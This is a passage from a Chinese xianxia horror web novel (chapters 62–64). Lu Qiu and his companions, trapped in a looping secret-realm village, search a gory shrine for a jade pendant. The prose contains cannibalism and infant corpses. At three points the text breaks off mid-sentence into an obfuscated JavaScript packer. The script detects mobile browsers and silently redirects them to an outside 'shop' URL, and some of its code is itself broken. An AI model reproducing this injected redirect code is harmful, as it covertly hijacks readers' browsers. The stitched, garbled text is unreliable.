陆秋还在盯着着火的地窖,手里已经握上了自己的鞭子,期待还能再来一个给他练手。但结果终究让他失望了,直到里面的火都灭了也没有任何动静。 秋花看他失落的样子拍拍他的头,安慰道:“没事,以后还有机会的,咱们也该去别的屋子找找了。” 正说着,她突然问道:“死活人是怎么形成的?” 陆秋一下站了起来:“我们走吧,不然来不及了看完屋子了。” “是因为灵魂还未来得及全离体就被带走了!”秋花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395979|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强调着,作势要拧陆秋耳朵:“这都不知道,你来落霞宗混日子的啊!” 二人吵吵嚷嚷,连路过的修士都好奇的多看了他们两眼,完全没有今晚会被卷进秘境的危机感。他们没有耗费太多体力,甚至中午还有闲心睡了个午觉,和周围其他不知在忙什么的修士形成了鲜明对比。 刚醒还没有多久,素白二人就来寻他们,要求一同去村口。有些修士在这里没有什么收获,便早早离开了,不知自己躲过了一劫。眼见着最后一丝光亮要消失在天边时,素白和素青向他们交了储物戒,陆秋注意着对面二人的动作,只见素青将身侧的白玉海棠玉佩解下,往石碑上的凹槽扣去。由于角度问题,素青的披风与袖口纱将玉佩挡了个严严实实,陆秋只能看见白光慢慢从那一点蔓延。 起初很慢,最后有野火燎原之势铺天盖地的包裹住了整个村子。在眼前即将只剩白光时,他感觉到秋花小得不正常的手握上了他的手腕。 陆秋被光刺得睁不开眼,一阵强压袭来,像是要将他生生撕碎,只能蹲下让自己尽量减少那种不适。不知过了多久,直到耳边传来鸟鸣声,陆秋才慢慢将眼睛睁开了一道缝,发觉自己还在村口,但村里却像普通村镇那样,几个老人带着孙辈坐在门口晒着太阳,还在聊家常,根本没注意他们。 陆秋这才环顾四周,发觉只有自己一个人,秋花和素青素白都毫无踪迹。他扶着石碑站起,等站直了才后知后觉自己现在还没有石碑高。 这种感觉可太熟悉了,他的身体又回到了六岁左右的状态,除了记忆,剩下无论是修为还是灵力使用都在自己的孩童时期。 他简单检查了一下自己的衣着,发现是和村中人一样的装束,他便猜想自己应该是代替了村中的某人。陆秋这才向其中一位正在拿石子盖房子的小孩走了过去,他在小孩对面蹲下,笑眯眯的问:“你知道我是谁吗?” “如愿哥!”那小孩看起来有三岁模样,只有头顶上一撮毛,看起来喜感得很:“玩!” “你要玩什么?”陆秋用两根指头夹起石子,叠放在那堆石头上面。 还没等小孩开口,一个看起来比陆秋此时还干瘦的女孩小跑过来,她的语气听起来有些着急:“弟弟,你快回去吃饭吧,吃一点也行。” 弟弟?陆秋还没反应过来呢,那男孩就抓起一把石子砸向女孩,嘴里咒骂着:“滚蛋!没看见我们在玩吗!” 陆秋本想阻止,但别人的家事也犯不着他来管,更何况这是秘境,稍有不慎违反了规则,后果也许并不是他能承受的。 他沉默着,女孩貌似还不死心,反而过来用如同枯木的手拉他,口中不断重复着:“弟弟,你吃一点。” 这是我姐?陆秋眼神中带着震惊看向女孩,心里不解,既然是他姐姐,那这个小孩为什么能随便骂她? “如愿哥,你怎么不打她了?”那小孩整张脸都扭曲了,眼神阴暗的不像是这个年纪该有的,有点像告状那样对陆秋说:“把她赶走啊,咱们还要一起玩。” 陆秋心里苦,他又抬头看向女孩,发现女孩还在不停重复,已经不是古怪能够形容的了,他生怕在秘境出事,只好皱眉做出不爽的样子:“我回去,你闭嘴!” 女孩果断闭嘴了,对面男孩则“嘁”的一声,低下头去自己玩石子了。陆秋跟在女孩身后,以他现在的身高来看,能够轻松看到女孩头上一块块没有头发的头皮,而且周边泛白,一层层的叠满了死皮。 本来他也不饿,这要是再看一会可能更不想吃饭了。陆秋默默移开目光,但就这么走着,他却愈发觉得熟悉,像是自己走过无数遍这条道路。 这间屋子是他们之前休息过的地方,陆秋走到桌前一看,碗中原先不知是什么饭菜,但现在能看见的是密密麻麻爬了满碗的蛆虫。他不可置信的看向女孩,女孩却面色如常催他:“弟弟,你吃一些啊,刚做好的饭菜。” 62. 任务(4) 陆秋算是知道了这个如愿怎么跑出去不吃饭了,这么一碗放面前看着就恶心,能吃得下这些东西的人他都要佩服。但女孩不断重复,语气平淡,像念经那样回荡在屋子里。陆秋紧张的感觉眼前都在发黑,现在不仅是看到的恶心,就连腐烂的味道也飘到了他面前,引得阵阵反胃。他又看向女孩,只见女孩双目已经变得漆黑一片,直直盯着他,让他惊起一身冷汗。 现在这碗饭摆在面前,但绝对是不能吃的。陆秋心里不确定的推测自己应有的态度,最后面上不爽,把那嚣张跋扈的劲头都使了出来:“做的都是什么东西,我不爱吃!” 女孩被吓了一跳,连连道歉:“我再去做!” 说罢,她就小跑出去,不一会就传来了烧火与切菜的声音。陆秋这才稍微放心了一点,随后就端着那碗不知是什么的东西,忍着恶臭把里面的东西泼了出去。等再把碗放回原位,他却下意识的弯腰向桌底摸去,摸出了一把弹弓和几颗石子。 他的手不受控制的拉开弹弓,对着端碗进来的女孩就发射了石子,碗被石子刚好打碎,里面热汤洒在她身上冒出白汽,烫的女孩尖叫着蹦起,双手不断抹着身上被烫到的地方。叫声嘶哑凄惨,陆秋忙上前想用凉水帮她减轻烫伤带来的疼痛,但口中发出的却是恶作剧成功般的坏笑声。腿脚也没收住,直直从还在哀嚎的女孩身边跑过,跑出了大门,直到村尾才停下来。 陆秋十分诧异刚刚自己的所作所为,这时他开始怀疑素白是不是在骗他,为什么到现在为止他不仅没有任何优势,反而连身体都无法控制。他咬咬牙,想起那古怪的宗祠,决定去那里看看有没有什么发现。 和他们所看到的破败宗祠不一样,这里的墙壁由黑石垒成,不知用什么木做的大门上长钉排列整齐,颗颗尖刺外突,门环的位置是两张“福”字,白纸黑字,一正一反,看着就十分不舒服。 大门没有关死,陆秋又避开尖刺小心推门,但还没推多少就听上方有铁链绷直的声音。他抬头望去,只见一条有成人手臂那样粗的铁链在门顶栓着,末端由一把黄金锁锁住。现在已经是推开的极限,陆秋此时是孩童形态,用力往里一去便进了院子,但还是被门上的钉子挂住衣服,险些整个人倒在那扇门上。 不过还没等他站稳,有一双手把他往前猛地一拽,让他没有被尖刺扎穿。陆秋定睛一看,是一个浑身脏兮兮的小男孩,男孩看起来眼熟,但他怎么也想不起来在哪里见过。二人就这样对视了一阵,男孩细细的嗓音响起:“不认得了?” 陆秋猛然醒悟,这是变小了的秋花,他上下打量着她,有些不确定的问:“师……姐?” “是我。”秋花点头:“还不错嘛,知道来找我。” 陆秋又迷糊了:“你不是女人吗,怎么到这里就变成了……” “我就是女人啊。”秋花张开双臂,在原地转了一圈:“在这里女人死得快,我扮男人有什么问题吗?” “没问题。”陆秋赶忙回答:“我发现我在这个秘境,有时身体是不受控的。” “小问题。”秋花打了个哈欠:“大概是这个秘境之主在干扰你吧。” 陆秋着急起来:“那要怎么办?” “不知道。”秋花挠挠枯如蓬草的头发,有些苦恼:“我们应该都是代替了这里的某人,做的动作大概率也是他们生前常做的,但这些暂时不重要。”她耸肩:“我们只用找到那个把灵魂拉进来的罪魁祸首,就算完成任务。” “还有。”陆秋还没开口,就听秋花继续说道:“我现在是凡人,很多事情可能都要你去做了。” 陆秋看着秋花一脸无所谓的模样,心中忐忑:“很多法器都是需要灵力才能用的,你怎么自保?” “我能躲。” “你是凡人,在这种地方吃什么?”陆秋比她都要着急。秋花连鞋都没有,就这么穿着破烂的衣裳站在雪地中,要不是供暖符,恐怕没多久就要冻死。陆秋连忙打开自己的储物戒,就留了几张给自己,剩下的都给了秋花:“我可以用灵力,这些你带着,我找办法出去。” “嗯……”秋花将供暖符放进储物戒,又犯困起来:“刚吃饱,有点困。” “困就睡一会?”陆秋这是才想起这是在宗祠,被锁的这么严实,能吃到什么新鲜东西,他便又问:“你吃的什么?” 秋花往供桌那里一指,上面没有供果,但柜子里却有血淋淋的女婴尸体。 陆秋只觉得血液从头凉到脚,要知道此时的秋花还是人,就已经开始吃人,他根本不敢设想在这个秘境中秋花代替了的那家伙到底是什么样子。 “那些是……” “是女婴尸体哦。”秋花露出洁白的牙齿,朝他一笑:“有的还挺新鲜,直接扔到这里了。” 陆秋终于待不下去了,立刻转身走到门前,他没有转身,但却能感受到那种危险的目光不断在自己身上游走,他声音颤抖着开口:“师姐,我有发现了再来找你。” “快去快回。”身后人这样开口回答他。 等出了宗祠,他将大门关得严严实实,但不知怎的,他没有直接走,而是在门前站着。不知等了多久,只听微弱的一阵铁链声,大门又被打开了一条缝。 缝隙对面的秋花一只眼睛死死盯着外面,看见是他,便把眼睛眯起,平日总是为了淑女形象而不张开的嘴巴,这次反而把牙齿露了出来。 她语调怪异,问道:“进来玩吗?” 陆秋没有回答,头也不回的直接往家中跑,心脏都像是要跳出来那样疯狂敲击着胸膛,此时也分不清是他还是“如愿”的动作,经车熟路跑回原先女孩带他来的院中。女孩已经不见了,打碎在地上的碗也没了,仿佛那个女孩只是他的幻觉, 陆秋感觉心口都跑得发疼,这时他迎面撞见有一个长着黑色羽翅的孩童经过,同行人的还有不少有妖族特征。陆秋认出来这些是滨水宗的修士,便开口喊道:“请留步!” 其中一个头上长了山羊角的男孩对他挥手:“如愿哥,不和我们一起去宗祠吗?” 陆秋一愣,发现他们貌似并没有被控制,又试探性的开口:“你们是滨水宗的弟子吗?” “什么东西?”后面的几人开始面面相觑,一副不知陆秋在说什么的模样。他还想开口,这时姐姐不知又从哪里冒了出来,站在他身后喃喃着:“弟弟,爹娘要是知道我没看住你,会打我的,别去好吗?” 她的声音都带上了颤,陆秋怕她再喋喋不休,只好不耐烦的开口:“我要睡觉,不去!” 谁知面前那些孩童就变了脸,纷纷骂着女孩是晦气的东西,恨不得用眼神把她千刀万剐。 陆秋是真的不想去,因为里面还有个不知道变成了什么东西的秋花,而且那个门能打开的大小刚好只够这么大的孩童通过,谁知是不是有意设计的陷阱,让他们自相残杀。 “弟弟,你要睡觉吗?”女孩比他矮小,瘦的几乎只剩骨头架子,但是却一口一个“弟弟”,让他从心头感到无力,只能弱弱回答:“嗯。” 姐姐很高兴的样子,把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395980|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他带到屋中,铺好被褥后见陆秋站在门口,便忙解释:“我早就烧上炕了,现在是热的。” 陆秋发觉只要自己顺着对方意思走,就能好好交流,便走过去脱了鞋袜,将棉袄给了女孩,让她给自己叠好。做完这些后,陆秋神色慵懒,质问道:“刚刚我回来,你怎么不在?” “我去洗衣了。”女孩没有上炕,而是跪在地上,偷偷贴上边壁企图能暖和一点。陆秋没让她上来,毕竟自己这样做可能会违反“如愿”的性格,引起秘境主人的注意,但自己又做不到看着对方这么卑微。看见边上堆放的被子,他心生一计,故意说道:“我觉得这被子薄了好多,好像是破了。” 如他所料,女孩急忙站起来检查,但半天也没检查出来个什么不对,声音细的几乎听不见:“今年新做的被,不该薄啊。” “你做的?”陆秋暼她。 “是我……” “我不想盖你做的被!”陆秋用力一掀,把已经变得热烘烘的被子盖到她头上。女孩吓了一跳,但抱着被子不知该做什么,双手在被上偷偷攥了好几下,又悄悄抱紧了些,跪在地上害怕的望着陆秋。 陆秋把一旁的被子抖开盖过头顶,不再看她:“拿着你的被子滚,别给我!” 姐姐习惯了这样的态度,此时抱着被子又惊又喜,本想说什么,但又不能打扰陆秋睡觉,便蹑手蹑脚的退出房间,轻轻把门带上了。 在她关门的下一刻,陆秋就直接弹坐起来,拿过一旁的袄穿上,躺回被窝里,口中还止不住的念叨:“冻死我了,我这是图什么啊,又受冻又担惊受怕的。” 又过了不知多久,直到门外传来了男声,一个矮小的男人推门进来坐到他身边。陆秋搭眼一看,险些吓得魂体出窍。 男人面色灰白,不仅脸颊,就连身体都肿胀得不成人形,眼窝还有淡黄的液体缓缓沿着眼袋流下,混杂着涎水流到下巴。他看着陆秋痴痴笑着,莫名让他起了一身鸡皮疙瘩。 “儿啊,今天干什么了?”男人嘿嘿傻笑。 陆秋压制住不断涌上的恶心,尽力不让自己吐出来:“还是和之前一样。” “怎么不开心?”男人的脸突然凑近,眼珠都由于用力过猛而脱落,若不是中间还有根筋连着,恐怕就要直接砸到陆秋脸上。陆秋终于忍不住了,捂住嘴猛地往后退去,男人像是没看见他的反抗似的,朝着陆秋原先躺的地方拥抱着,还亲了亲空气,做出甜蜜的样子来。 “哎呦,老爹这胳膊怎么使怎么不对劲,跟要断了似的。”男人不舒服的向后弯了一下胳膊,结果一整条胳膊都掉了下来,裂口处还有脓水溅到炕上,散发出令人头晕的恶臭。 陆秋这时想起这男人是谁了,是他在检查尸体时不小心拽断了手臂的男人。 他心中怒骂秘境之主不能这么小心眼吧,专门要用这样的办法恶心他,让他给这人当儿子。见男人还在自顾自对着空气说话,他翻身用最快的速度穿上鞋袜,鞋跟还没提上就单脚往门外蹦去,同时心里默默祈祷不要再看见女孩在门外等他。 也许祈祷真的起了作用,但只有这一个有了作用。当他整理好着装后,却在大门外发现同样是幼童的素青素白二人。可能是魔修特有的幼年生长缓慢,他们看上去只有四岁左右的模样,但自然散发出的威压却不可小觑。素青还是那副吊儿郎当的模样,开口便问:“你师姐呢?” “你做什么?”陆秋没有回答,因为秋花再强,按现在的实力来说也得被素青压着揍,所以他不敢暴露秋花的行踪。 63. 任务(5) “先汇合,再商量些事情嘛。” “我不知道在哪里,有事可以先和我说。”陆秋严肃起来,不悦的看着二人:“我们已经说好了,你们去找你们要的东西,不要来找我们。” 素白这时打断他的话:“是你们要找我们的。”他习惯性的想晃扇子,但手中什么都没有,只好把手又收了回来:“你师姐应该遇到麻烦了吧?” 多说多错,陆秋闭口不言。 “除了我们几个,其他人都没了六岁以后的记忆,如果是鬼修……”他毫不避讳的说了出来:“生前吃人也不是没可能的。” 陆秋感到可笑,觉得他这种自信真是无人可敌:“你又知道了?” 素青一只手在面前扇了两下:“秋花在宗祠吧,血腥味都灌到天灵盖了。” “哪里的血腥味?”陆秋一点都闻不到,不禁开始怀疑自己的嗅觉是不是刚刚被那男人熏得失灵了。 “闻不到也无所谓。”素白双手掐腰:“我来是找你谈判的,不谈便算了。” 陆秋觉得他莫名其妙,脾气也大的很:“你都没说要谈什么。” 但素青貌似是待不住了,直催素白去宗祠看看,素白烦了,让他先走,自己和陆秋就这么在门前讨论开来。 陆秋疑惑:“不找个隐蔽些的地方吗?” “你没发现这里人都是按照轨迹生活吗?”素白白了他一眼:“没人会注意,除了这个秘境主人。” 秘境里无论哪个角落都是秘境之主的神识之内,躲也没用,不如大大方方的说话。陆秋颔首,示意他先说条件。 “我可以保你安全出去。”素白依旧是先对陆秋抛出好处。 “你的条件。”陆秋没有耐心跟他绕圈子。 “我要你帮我找东西。”素白也突然不耐烦了起来:“就是进秘境时我安在石碑上的那块玉佩,不见了。” “你要找的东西就是玉佩?”陆秋双眼微微瞪大:“那你还进来做什么?” “不是玉佩。”素白捂脸:“玉佩是秘境破解的条件,东西找到了,玉佩却丢了。” “所以没了玉佩我们也出不去?”陆秋明白了:“那玉佩是你从哪里弄来的?” “那本来就是我的。” “你的东西能开别人的秘境?” 素白不回答他了,陆秋心里起疑,若真是他自己的东西,那玉佩怕不是个和思尘同等级的东西。但见素白死活不说,自己也只能答应:“可以,前提是我得能找到。” “我们已经把北边找完了,但是一无所获。”素白也自动接上了话:“所以希望你能找找南边,我们一起能快些。” “用了那块玉佩,我们都可以出去吗?” “那玉佩能解开秘境,”素白拿出一条暗红色的细绳来:“这才是秘境核心,已经拿到了,出去后秘境会自动坍塌。” “只有红绳出去了,秘境才能消失,那些灵魂才能得到解脱。” 陆秋也不想在这里呆了,而且不知这个秘境与外界的时间是否一致,若是比外界流速快,那么等他们全军覆没也不一定能让自己宗门的人知道自己遇害了,更不要提有援兵了。 “我去找。”陆秋指向宗祠的方向:“你们从那边找,我从另一边找。” “啧。”素白不爽的皱眉:“你倒是会省事。” “素青想去的,你也去呗。”陆秋不再理他,向村口走去。 只能说沾了“如愿”的光,以及秘境中人们固定的重复,他可以直接进到屋中翻找。不仅桌柜,他连床铺都找了,可等到与青白二人碰面时也没能有一丝线索。那块玉佩有成年素白手掌那样大,那么显眼,要说会被忽视是不可能的。 “会不会在村子外?”陆秋有些担心的望向外面,那纯白玉佩要是向足有他们腰高的雪地中随便一扔,他们可能要找到天荒地老。素白摇头,让他放心了些:“我们试过了,这个秘境只有村内能够活动,玉佩也只会在村里。” “还有地窖。”陆秋不赞同:“太危险了,我觉得那玉佩不会被轻易藏在我们能看见的地方的。” “还有哪里没去?”素青问他们。 “都去过了吧?” 素白立刻回答:“没去宗祠内部。” “你们没去?”陆秋一副不可置信的表情:“那你们从哪里来的?” “我们就到门口看了看,没进去。”素青指向那里:“我们现在去?” 素白瞄了陆秋一眼,用眼神询问他去不去。陆秋想起秋花在门后盯着他的眼神,心里是及其不情愿的,但不去就只能一直在这里等死,最后只好同意,三人一同总比他自己面对秋花的情况好。 三人走到那对布满了长钉的大门前,素白推门,见上方有铁链锁着不能完全打开,眉头几乎打成了结,但什么都没说。素青手中已经有了把匕首,正在找准头想把铁链割断。素白把他跃跃欲试的手摁下去,低声劝道:“不行,这锁应该是锁其他东西的,还不能断。” 陆秋向后退了一步,只觉得脚下黑色地砖质感不对,踩着软软的,甚至有些黏鞋底。他蹲下刚要用手指去触碰地砖时,抬头却对上了青白二人的目光,可能是出于本能本能感到了不对劲,手指便就这么停在了空中。 素青脸上嫌弃的表情根本掩盖不住,语气也充满了厌恶:“这玩意你感兴趣?” “这是什么?”陆秋茫然了,他只知道这时红得发黑的粘稠地砖,不知为什么二人会有这么大的反应。 “你来看看。”素白把门缝让给陆秋,让他看看门内的景象。陆秋起初有些害怕会突然蹦出来个什么东西袭击他,但想着素白看起来还靠谱些,不会让自己就这么还没发挥作用就死了的,便大着胆子向里看去。 秋花不见了,宗祠内依旧干干净净,除了柜子里掉落出的女婴尸体,剩下只有白茫茫的雪与黑得反光的木石。 “看看眼前。”素白提醒他。 陆秋这才歪头,余光却瞄到一片衣角。那衣角貌似是前不久见到的那妖修穿的,他避开尖刺,又努力向门后看,此时才想起门前门后都是长钉,既然衣物在这里,那么人去了哪里? 只听上方铁链声又响起,素白并没有碰门,素青更是离得远远的,陆秋用力吞咽了一下口水,身体由于恐惧止不住的抖着,慢慢向上方看去。 上方有一条腿,被尖刺刺穿了膝骨,就这么挂在门后。越过那条腿才发现其他的肢体都被钉在了上面,大致一数可能得有十人左右,都被分尸挂着,只有一人还活着,正在啃食其他人的尸体。那人灵活的扒在长钉上,呈现出一种扭曲的姿势歪头向下看着陆秋,本就在撕咬生肉的牙齿上还挂上了血丝,现在咧嘴笑着,更有了种说不出的邪性。 陆秋半张着嘴,似乎是因为恐惧而想尖叫,但又什么声音都发不出来,瞳孔都紧缩成了一点,心脏更是急速跳动,肌肉紧绷着,只要对方有什么动作,他就能立刻闪开。上方那人正是秋花,脏污与结块了的血液黏在发丝上,一缕缕的遮住脸,只剩红得发亮的双眼正在盯着他。最后还是素白拉了他一把,将门合上,才把他和恐惧隔开。等他回过神来,就见素青抱胸歪头,一脸戏谑:“怎么样,进去吗?” 素白闭目一副无关紧要的模样,甚至还悠闲地哼起小曲。 见陆秋不说话,素青更变本加厉了:“那是你师姐,你不去谁去?” 陆秋这会反应过来了,对素青这种作为心里也窝火“我进去,你们就在外面等着吗?” “都进去。”素白打断二人的争吵:“我第一个。” 陆秋看着素白进去,而上方的秋花只是看着,并没有动作,便也屏住呼吸小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395981|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心穿过门。进去后他并没有跟着素白向里走,而是站得远远的,发现秋花只看着大门处,对于进来的人一律无视。最糟的情况可能出现了,让陆秋不太敢相信自己的猜想。秋花很有可能也被秘境同化了,重复着这个原本就在宗祠的人的动作。 素青也安全进来了,但秋花还是踩在尖刺上死盯着门外,不知在看什么。现在没有空闲的时间给他们,只有尽快解开秘境,才能将还活着的人救出去。三人划好区域开始寻找玉佩,还有时刻关注秋花的动作,找得是又累又怕,最终大门传来一阵推门声,让三人都警戒起来。 反应最快的是素青,他离门最近,几乎是声音响起的那一刻就从腰间拔出短匕在手中转了一圈,反手握住抵在胸前;最里面的素白将柜门关上,没有第一时间站起来,而是蹲在原地,紧捏符纸注视着大门;陆秋抽剑竖在脸侧,剑尖直指大门,心都提到了嗓子眼。 只听外面传来杂乱的脚步声,接着就是门外人的喊叫声。秋花听见动静后,从门顶直直跃下,摔在砖地上发出令人牙疼的响声。陆秋保证他看见了秋花的手臂在那瞬间被摔断了,但秋花手脚并用在地上迅速爬行着,又是完好的模样,让他感到的已经不止是诧异了。没多久门上的铁链就被打开了,外面的村民一拥而入,在看见门后挂着的尸体后有跪在地上抱头痛哭的,也有立刻移开眼去不看的,但其中也有怒气冲冲去抓秋花的。 秋花被一个身形高大的男人攥着手腕拖了出来,半边脸与耳朵都被碎石磨得鲜血淋漓,本就破烂的衣服更剩的没有几块布了。陆秋几人没有贸然阻止,但等到村民其中一人不知从哪里拿出了把杀猪刀时,他便坐不住了。 秋花被丢到地上也不反抗,静静的等着他们处置,陆秋刚要上前,就被素白拉住,他刚侧头就听见素白悄声对他说:“你仔细看看。” 陆秋听他这么说,知道其中必有蹊跷,但死活都看不出瘫在地上不动弹的人有哪里不对。 素白可能真的被他蠢到了,点了点陆秋食指的储物戒,陆秋看向秋花的手指,这才想起来为什么不对了。他和秋花见面时秋花的储物戒还在食指上,他还给秋花留了一大摞的供暖符,但如今什么都没了。地上的“秋花”被薅着头发直起上半身,随后就被几刀的砍下头颅,滚到他们的面前。 就在即将和它对上目光的一刹,周边的景象飞速变换,不消片刻就变为了村口的摸样。陆秋环顾四周,发现又是自己站在这里,而本接近落日的时间也重新调回了正午,那玩石子的小孩也还在那里,一切都回到了原点。 若是他没有去找那个男孩,“姐姐”会出现吗? 带着这个疑问,陆秋站在村口不动弹,但当时间差不多时,远处女孩的身影已经出现了,但她没有向男孩走去,而是径直朝陆秋走来,并重复着那句话。 “弟弟,你快回去吃饭吧,吃一点也行。” 陆秋没有拒绝,直接跟着她走回去,路上还在打量着男孩,发现男孩也没有注意到他,心中疑惑更深了。依旧是他重复自己不爱吃这些东西,把“姐姐”支走后就要跑出去找秋花,谁知原本该在厨房的“姐姐”突然出现在了自己面前,陆秋一个没刹住,直直撞上了她,将她撞下了好几级的台阶。 “没事吧……”陆秋要去扶她起来,但双腿怎么也不听使唤,自己就主动往前跑,逃一般的往宗祠去。等到了宗祠大门没有一点犹豫,直接钻了进去,本还在掏柜子里女婴的秋花猛回头望见陆秋,把手收回来,问:“怎么找得这么快?” “我……”陆秋余光一直瞄秋花的手指,发现上面有储物戒,便稍微放心了些,不过也没有说实话:“我猜的,运气好猜中了。” “你冷不冷?”陆秋刚刚看过了储物戒,发现里面的供暖符一张不少,又拿出给了秋花:“我不怕冷,这些你带上。” 64. 任务(6) “嗯。”秋花点头接过:“还挺会照顾人的嘛。” “师姐,接下来该干什么?”陆秋询问着,但注意力一直没有从柜中移开。 秋花毫不犹豫的回答:“找到秘境之主。” 秋花看起来是正常的,但陆秋怎么也不敢让她出去,生怕她真的再发生异变,到时他们一个也跑不了。他又把主意打到了女婴尸体上,这次秋花还没来得及吃,只怕这些东西才是导致她被秘境同化的罪魁祸首。 “我们先找宗祠。”陆秋大步走过去,将柜中的女婴尸体全找了出来,当着秋花的面烧掉,一气呵成毫无停顿,看得秋花都不知道要说什么。 半晌,秋花才反应过来:“找什么?” 陆秋直起腰与她对视:“我们在外面看见的宗祠和这里毫无相似处,可这里却偏偏保留了一些东西,我怀疑这些共同物才是破解秘境的关键。” 他没有说玉佩的事情,但这么一说,秋花也摸着下巴赞同道:“有可能,你想的很对。” 陆秋看着她的动作,脊背一阵发凉,只好找了借口:“我去外面找,你在这里找,我们分头能快一些。” “去吧,这里交给我。”秋花一笑,露出牙齿来。 陆秋已经极力克制自己的不安,飞一般从门缝钻出去,站在门前冷汗还是止不住的渗出,连火灵根都束手无策。刚刚他还在庆幸阻止了秋花的进食,但这貌似没有什么作用,因为刚刚秋花摸下巴的动作是以前从来没有的,而那位操控者让秋花露齿笑,貌似就是一种示威,告诉陆秋他猜错了,并不是女婴尸体才导致的同化。 不久,大门果然又被拉开一条缝,秋花依旧与他对立着,问道:“进来玩吗?” 陆秋摇头,声音颤抖着:“师姐,我有点冷,你还有供暖符吗?” “什么?”秋花一只手已经扒上了门框。陆秋一丝犹豫都没有,转头跑得飞快,因为他这次看清楚了,秋花的手上只有冻疮与淤青,根本没有什么戒指,就连食指上的勒痕也没有。所以就是在这段时间里,秋花被掉包了,而且不知被换成了谁。 回去的路上就看见了素白二人匆忙往这里赶,看见他上气不接下气的模样还好心拉住他坐下休息。若不是素白拉的那一下,估计他还能一直跑回院子,再累得几乎窒息。 “你发现了什么?”素白的声线貌似比上一次沉稳了很多。 “宗祠应该没有你的玉佩。”陆秋喘着粗气,将刚才发生的事情如实告知二人,素青刚听完就惊讶道:“你就没有注意你师姐是怎么被掉包的吗?” “你可以去看看。”陆秋没好气的回他:“你有本事你去看着怎么换的。” 二人又要吵起来,但原本那些被杀了挂在门上的修士却结成队,向他们走来。不知是受上一次的影响还是怎的,他们越过了素青,那个长着山羊角的孩子问陆秋:“如愿哥,不和我们一起去宗祠吗?” “有事,不去。”陆秋在原地等着,那群孩童果然不再和他交谈,越过他们向宗祠走去。陆秋纳闷了,上次他多问了问题,他们就交头接耳,怎么这次没有这样呢?问题总不能是出在他身上吧。 “我们跟着去吗?”素青打断他的思考,视线紧紧跟着逐渐远去的那群人。 “去。”素白替陆秋做了决定:“去看看到底是怎么一回事。” 三人还算聪明,与那些修士保持了些距离,所以这次的屠杀并没有波及到他们。只见那群孩童一个个的钻过门缝,嬉笑吵闹着比着谁更顺利钻进去,就在最后一个孩子进去后,大门缓缓合上,之后就是长达一炷香的尖叫与皮肉被撕开的声音,以及起初的拍门声,逐渐变为什么东西在门上撞击。 在门上撞击的声音,应该就是肢体被刺穿挂在长钉上了。陆秋死死盯着门缝溢出的血液,那些逐渐渗入地砖中的液体,也慢慢变成上次他发现的黑红模样。只是听着就知道里面发生了惨绝人寰的某种事,更不必说早就经历过一次的他们,都能直接想象到那个画面。 直到里面的撕咬与吞咽声小了下去,大门才又打开了条缝来。三人相互对视,谁都没有上前,因为距他们来这里的时间还早,不好说还有没有人会是“秋花”的猎物。这样一来,等到天黑才是最好的选择,第一次没有找到玉佩,第二次也不可能找得到,他们现在需要的是重新整理思路。 “会不会……”素白不知从哪里又摸了串黑檀木手捻绕指盘了起来:“是在某人身上?” “那要找得可就多了。”陆秋神情复杂:“首先,人是动的,要找并不方便;其次,若是在那群注定被杀的修士身上怎么办” “你去劝啊。”素青加入谈话:“你看,他们只和你说话,都不带理我们的。” “你都没和他们说话……”陆秋下意识反驳他,却被素白打断:“确实如此,我有一个猜想,但并不是很确定。” 陆秋不和他打哑谜,直接问:“你说。” 素白简洁明了:“玉佩在你身上吧。” “没有。”陆秋否认,并展示他的衣物:“我在上一次就检查过了,根本没有玉佩。” “储物戒呢?”素青围着他看了一圈,相信了他没有。 陆秋摇头:“也没有。” “但你可以改变这里人的生活轨迹。”素白不赞同道:“玉佩是改变的媒介,你若没有,又为何能够引起他们注意呢?” 不等陆秋思考,他又步步紧逼:“和身份无关,你的那个‘姐姐’也是必须等你做了事情才算结束她的行动,你是这里的一环,玉佩绝对在你身上。” “我要是有,难道还能私吞吗?”陆秋有种被冤枉了的怒意直冲心口:“你说的好,头头是道,再怎么猜也不能毫无证据诬蔑别人吧?” 还没吵完,那群人这时已经到了宗祠门口,开始重复上次的动作。他们还需要仔细检查一遍有何不对劲,所以依旧站在最前排看着“秋花”被砍头的过程。 与上次不同的是,这次“秋花”的头滚落之前,似乎是瞟了眼陆秋。 一切又从头开始了,陆秋这次没等女孩来叫他,就自己跑回家中,直接拿起碗倒掉那些东西,放好碗后女孩还是没有出现,正当他想着是不是时间有些早时,只见一盆装满了冰水的木盆摇摇晃晃自己飘到了半开着的门上。 好巧不巧,女孩就像为了被砸而出现了,推门的那一刹水盆就落了下来。虽然知道自己一定又无法帮助到她,还有可能对女孩造成二次伤害,但这一次冥冥中却没了对他的控制。 